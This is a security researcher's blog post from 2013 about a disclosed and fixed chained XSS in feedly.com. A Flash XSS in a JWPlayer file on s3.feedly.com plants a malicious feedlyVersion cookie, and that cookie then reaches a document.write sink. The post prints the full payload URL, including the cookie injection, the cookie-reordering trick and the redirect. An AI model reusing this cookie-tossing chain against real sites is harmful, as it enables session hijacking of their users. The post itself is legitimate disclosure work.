Tuesday, April 30, 2013

Exploiting an unexploitable persistence DOM based XSS in feedly.com by using root domain cookies!

Summary:
I found a persistence DOM based XSS vulnerability in feedly.com website. As it was not possible to exploit it directly without altering the cookies, I called it an unexploitable vulnerability! However, I could exploit it by using another XSS vulnerability which was in s3 subdomain of feedly.com website. This post explains what I have done to exploit this issue.

DOM based XSS in feedly.com:
First I found a DOM based XSS in feedly.com. As you can see in below picture the source is a cookie (feedlyVersion) and the sink is document.write(). 

Figure 1 - Picture of vulnerable code
Normally we can't exploit this issue because it's not possible to control the value of 'feedlyVersion' cookie and this is a less severe issue.

But in this type of vulnerability if attacker can control a cookie in a victim’s browser, then it can be assumed that exploitation is similar to other vectors where an attacker controls aspects of a user request, like a querystring value, or an HTTP POST name-value pair [1]. So the only way to exploit this DOM based XSS was adding a new cookie with the same name as 'feedlyVersion' and our payload.

Flash based XSS in s3.feedly.com:
Then I tried to find another XSS vulnerability in feedly.com sub-domains. Quickly I found a vulnerable version of JWplayer [2] (http://s3.feedly.com/production/@@@/flash/player.swf) in s3.feedly.com. 

Figure 2 - Flash based XSS in s3.feedly.com
Figure 3 - s3.feedly.com befor adding new cookie
Through this vulnerability in s3.feedly.com subdomain It was possible to add a new cookie for *.feedly.com. 

Chaining these issues:
To successfully exploit this issue our new feedlyVersion cookie should be in front of original feedlyVersion in cookie string. I used the trick which Egor Homakov introduced in his "Hacking Github with Webkit" blogpost [3].

A) Set a new cookie with feedlyVersion name and our payload for *.feedly.com:
document.cookie="feedlyVersion='><script>prompt(document.domain)</script>;Domain=.feedly.com;Path=/;";
B) Moving our new feedlyVersion in front of the old one in cookie string:
x1=window.open('http://feedly.com/');x1.close();
C) Redirecting user to http://feedly.com to execute our payload:
location.href='http://feedly.com'
Finally putting all of them together:
http://s3.feedly.com/production/@@@/flash/player.swf?debug=function(){document.cookie="feedlyVersion='><script>prompt(document.domain)</script>;Domain=.feedly.com;Path=/;";x1=window.open('http://feedly.com/');x1.close();location.href='http://feedly.com'}
Figure 4 - feedly.com before adding new feedlyVersion cookie
Figure 5 - s3.feedly.com after adding feedlyVersion cookie (by attacker)
Figure 6 - feedly.com after adding new feedlyVersion cookie
Figure 7 - Attacker controlled cookie delivered to the sink

PoC Video:


Disclosure Timeline:
April 8, 2013: Details of the vulnerabilities sent to Feedly.
April 8, 2013: Received reply, "Will take a look at them today".
April 9, 2013: Received reply, "All issue have been fixed".

Kudos to the Feedly team for fixing issues very quickly.

References:
[1] http://media.blackhat.com/bh-ad-11/Lundeen/bh-ad-11-Lundeen-New_Ways_Hack_WebApp-WP.pdf
[2] http://www.wooyun.org/bugs/wooyun-2010-07166
[3] http://homakov.blogspot.com/2013/03/hacking-github-with-webkit.html

5 comments:

  1. Nice findings!
    I have a question regarding "x1=window.open('http://feedly.com/');x1.close();". How does it move the new feedlyversion cookie to the top?

    Thanks

    ReplyDelete
    Replies
    1. Did you read http://homakov.blogspot.com/2013/03/hacking-github-with-webkit.html?

      Delete
  2. Eyval bakse Iranie khodemun ;)

    ReplyDelete
  3. i've read Egor's post but it's still not clear to me...How does the new cookie replace the original one? Thanks.

    ReplyDelete
  4. So, is it possible for me to be able to block the exploit?

    ReplyDelete